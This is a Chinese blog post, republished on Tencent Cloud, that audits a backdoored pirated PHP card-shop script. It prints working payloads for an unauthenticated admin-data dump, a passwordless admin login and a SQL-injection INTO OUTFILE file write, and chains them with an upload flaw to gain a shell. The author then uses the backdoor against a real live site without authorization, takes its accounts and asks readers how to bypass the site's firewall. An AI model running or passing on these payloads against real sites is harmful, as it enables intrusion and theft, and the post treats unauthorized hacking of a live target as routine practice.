前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次由百度云会员引起的审计及渗透

记一次由百度云会员引起的审计及渗透

作者头像
C4rpeDime
发布2020-01-20 14:28:27
8560
发布2020-01-20 14:28:27
举报
文章被收录于专栏:黑白安全黑白安全

前言#

前天找了点域渗透的环境和资料,都是百度云盘存储的,一个镜像十几个g,下不下来,发现网上有卖百度云VIP账号的,都是一些发卡网,刚好自己最近在学代码审计,就想着下载一套源码自己看看能不能审出漏洞。没想到还真看出来了点东西。

开搞#

目标站点xx.com扫出了readme.txt,是企业版PHP自动发卡源码免授权优化版

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

看到这免授权优化版我就知道有戏,很可能存在后门。网上找了一套

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

目录结构和目标站点一样,应该就是这套了。

本地搭建,然后源代码扔到seay先跑着,我先大概看下架构

index.php入口

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

典型的mvc架构

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

伪静态重写URL

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

代码审计这方面我是新手,所以我的目标是找找sql注入、未授权访问、上传点以及越权,当然考虑到是免授权优化版,我还可以找找后门:文件遍历或者代码执行

[后门?]文件遍历#

/bom.phpcheckdir()函数

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

递归遍历当前目录下的所有文件。

这个文件应该是去除文件的bom头,不知道算不算后门。

过滤方式#

\includes\libs\Functions.php

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

全局makeSafe()函数过滤,强转数字,addslashes()mysql_real_escape_string()转义字符串,strip_tags去除html标签

\includes\libs\Mysql.php

MySQL使用UTF8编码

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

我发现的SQL语句变量全部使用单引号进行包裹,寄希望于seay,暂放。

[后门]获取管理员账户#

\admin\adminInfo.php没有鉴权

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透
代码语言:javascript
复制
function getmethod(){
    $ob = new Admin_Model();
    $items = $ob->getData(1, 10, "WHERE id <> -1"); 
    $index = 0;
    echo "<table border='1' style=''>";
    foreach($items as $item){
        echo "<tr>";
        $index ++;
        if($index == 1){        
            foreach($item as $key => $val){
                if(preg_match("/^\d*$/",$key)){
                    continue;
                }
                echo "<th>$key</th>";
            }
            echo "</tr>";
            echo "<tr>";
        }
        foreach($item as $key => $val){
            if(preg_match("/^\d*$/",$key)){
                continue;
            }
            echo "<td>$val</td>";   
        }
        echo "</tr>";
    }
    echo "</table>";
}

payload:/admin/adminInfo.php?action=get

[后门]无需密码登录后台#

还是\admin\adminInfo.php

代码语言:javascript
复制
function infomethod(){
    $ob = new Admin_Model();
    $u = $ob->getOneData($_GET['id']);
    $_SESSION['login_adminname']=$u['username'];
    $_SESSION['login_adminid']=$u['id'];
    $_SESSION['login_adminutype']=$u['utype'];
    $_SESSION['login_adminlimit']=explode('|',$u['adminlimit']);
}

payload:先访问/admin/adminInfo.php?action=info&id=1然后访问/admin/

[后门]SQL注入#

还是\admin\adminInfo.phpinfomethod()函数

代码语言:javascript
复制
$u = $ob->getOneData($_GET['id']);

id直接代入数据库查询,可尝试into outfile

payload

代码语言:javascript
复制
http://go.go/admin/admininfo.php?action=info&id=-1 union select 1,2,3,4,5,6,7,8,9,10,'<?php phpinfo()?>' into outfile 'E:/WWW/faka/1.php'

后台任意文件上传#

/admin/set.php未对文件后缀校验

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

漏洞利用#

文件遍历拿到后台=>adminInfo.php拿到管理员账户或直接登陆=>任意文件上传拿shell

实战#

后门进入后台,上传没有写文件权限,sql注入outfile写文件被宝塔拦截,尝试多种方法无果,放弃,毕竟账号已经有了,下东西去。

记一次由百度云会员引起的审计及渗透
记一次由百度云会员引起的审计及渗透

ps:我没想到一个卖百度云账号的流水一天也能7k

总结#

网站是死的,思路是活的。渗透测试的精髓是指哪打哪,希望我可以做到。另外如果有师傅知道怎么绕过宝塔写shell的请pm我,感激不尽。有在学代码审计的同学也欢迎找我交流哦!

原文由:Chabug安全Y4er

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-04-125,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言#
  • 开搞#
    • [后门?]文件遍历#
      • 过滤方式#
        • [后门]获取管理员账户#
          • [后门]无需密码登录后台#
            • [后门]SQL注入#
              • 后台任意文件上传#
                • 漏洞利用#
                • 实战#
                • 总结#
                相关产品与服务
                访问管理
                访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档